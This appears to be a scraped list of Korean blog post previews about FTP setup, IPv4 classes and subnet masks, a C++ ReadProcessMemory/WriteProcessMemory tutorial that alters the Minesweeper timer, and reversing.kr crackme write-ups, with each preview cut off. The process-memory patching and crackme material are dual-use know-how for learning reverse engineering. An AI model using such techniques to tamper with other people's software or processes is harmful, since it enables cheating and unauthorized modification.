CentOS 6.8 FTP #1 설정하고 접속하기 로컬 컴퓨터 한 대로 윈도와 가상화(CentOS)에서 FTP를 설정하고 접속해 보겠습니다. 먼저 패키지가 ... blog.naver.com 이전 게시글에 이어 진행됩니다... 윈도우 참조 디렉터리 : C:\Users\hoowave 리눅스 참조 디렉터리 : /home/hoowave 1. 윈도우 -> 리눅스 파일 전송 윈도우 참조 디렉터리에 test 파일을 만들고 해당 내용을 적습니다. 프롬프트창으로 돌아와 test 파일을 전송합니다. 정상적으로 파일 전송 완료!! 2. 리눅스 -> 윈도우 파일 가져오기 진행하기에 앞서, 위에서 진행했던 test 파일은 양쪽 운영체제에서 지워주도록 합니다. 리눅스 참조 디렉터리에 test파일을 만들고 해당 내용을 적습니다. 프롬프트창으로 돌아와 test 파일을 가져옵니다. 정상적으로 파일 가져오기 완료!!!

Classful [내부링크]

IP Address는 한 디바이스 당 하나씩 부여됩니다. 같으면 절대 안 됩니다. 충돌 나요. IPv4주소체계에서 8Bit.8Bit.8Bit.8Bit = 1Byte.1Byte.1Byte.1Byte 2^8.2^8.2^8.2^8 = 256.256.256.256 0~255.0~255.0~255.0~255 등 다양하게 표현할 수 있으며 전 세계에서 2^32 = 4,294,967,296개의 IP를 할당받을 수 있습니다. 우리는 한정된 자원(IP)을 최대한 효율적으로 사용해야 됩니다. X X X X X X X X . ~ 2^7 2^6 2^5 2^4 2^3 2^2 2^1 2^0 . ~ 128 64 32 16 8 4 2 1 . ~ A Class 0.0.0.0 ~ 127.255.255.255 0.0.0.0 | 0 0000000.00000000.00000000.00000000 127.255.255.255 | 0 1111111.11111111.11111111.11111111 B Class 128.0.0

Subnetmask [내부링크]

Classful IP Address는 한 디바이스 당 하나씩 부여됩니다. 같으면 절대 안 됩니다. 충돌나요. IPv4주소체계에... blog.naver.com 이전 게시글 Classful 내용과 이어집니다. 서브넷 마스크는 IP 대역대를 나누기 위해서 사용합니다. 대역대가 다르면 통신 안됩니다. D Class는 장비 연결 시 사용 E Class 연구용, 고갈 대비용 Classful A 0.0.0.0 ~ 127.255.255.255 B 128.0.0.0 ~ 191.255.255.255 C 192.0.0.0 ~ 223.255.255.255 Default Subnetmask | Prefix A 255.0.0.0 | /8 B 255.255.0.0 | /16 C 255.255.255.0 | /24 즉, 대역대 당 A = 2^24 , 16,777,216개 B = 2^16 , 65,536개 C = 2^8 , 256개의 IP를 할당받을 수 있습니다. 하지만, 각 대역대 당 예약 주소가 두 개 있습

지뢰 찾기 게임을 이용한 RPM/WPM 사용 [내부링크]

윈도에서 제공하는 ReadProcessMemory , WriteProcessMemory 함수를 사용해서 지뢰 찾기 게임의 시간 값을 예로 메모리를 읽고 수정할 수 있습니다. 윈도에서 제공하는 기본 지뢰 찾기 ( XP 버전 ) 첨부파일 Minesweeper.exe 파일 다운로드 <실행 화면> 콘솔로 제작된 하찮은 프로그램입니다. 응용하면 다른 곳에 사용할 수 있습니다. 해당 프로그램의 시간 값을 증가, 감소시키는 부분 <소스코드> #include <iostream> #include <windows.h> using namespace std; DWORD pid; DWORD value_addr = 0x0100579C; //메모리 주소 직접 구해야 됨 DWORD asm_addr = 0x01002FF6; //메모리 주소 직접 구해야 됨 int mainmenu_value; int original_value; int change_value; int original_addr_value = 5; in

reversing.kr Keygen 풀이 [내부링크]

Reversing.Kr This site tests your ability to Cracking & Reverse Code Engineering. Now Challenge a problem for each environment. (Windows, Linux, .Net, Flash, Java, Python, Mobile..) Admin E-Mail: gogil @reversing.kr Notice 2014-12-12 New challenge 'CustomShell' was added. 2014-12-10 New challenge 'CRC2', 'Advent... reversing.kr 해당 사이트에서 여러 유형들의 예제 프로그램을 다운로드해 분석할 수 있습니다. 여기서 두 번째 문제인 Easy Keygen 프로그램을 가져와서 실습을 진행해 봤습니다. 프로그램을 실행했을 때 나오는 화면과 프로그램과 같이 첨부된 ReadMe 파일 이름과 특정 키값을 입력하면 성공과 실패를 나누는 듯합니다

reversing.kr Crack 풀이 [내부링크]

Reversing.Kr This site tests your ability to Cracking & Reverse Code Engineering. Now Challenge a problem for each environment. (Windows, Linux, .Net, Flash, Java, Python, Mobile..) Admin E-Mail: gogil @reversing.kr Notice 2014-12-12 New challenge 'CustomShell' was added. 2014-12-10 New challenge 'CRC2', 'Advent... reversing.kr 해당 사이트에서 여러 유형들의 예제 프로그램을 다운로드해 분석할 수 있습니다. 여기서 첫 번째 문제인 Easy Crack 프로그램을 가져와서 실습을 진행해 봤습니다. 프로그램을 실행했을 때 나오는 화면입니다. 제작자가 요구하는 문자를 입력하라는 것 같네요. 아무 문자나 넣어서 확인을 눌러봤는데 예상대로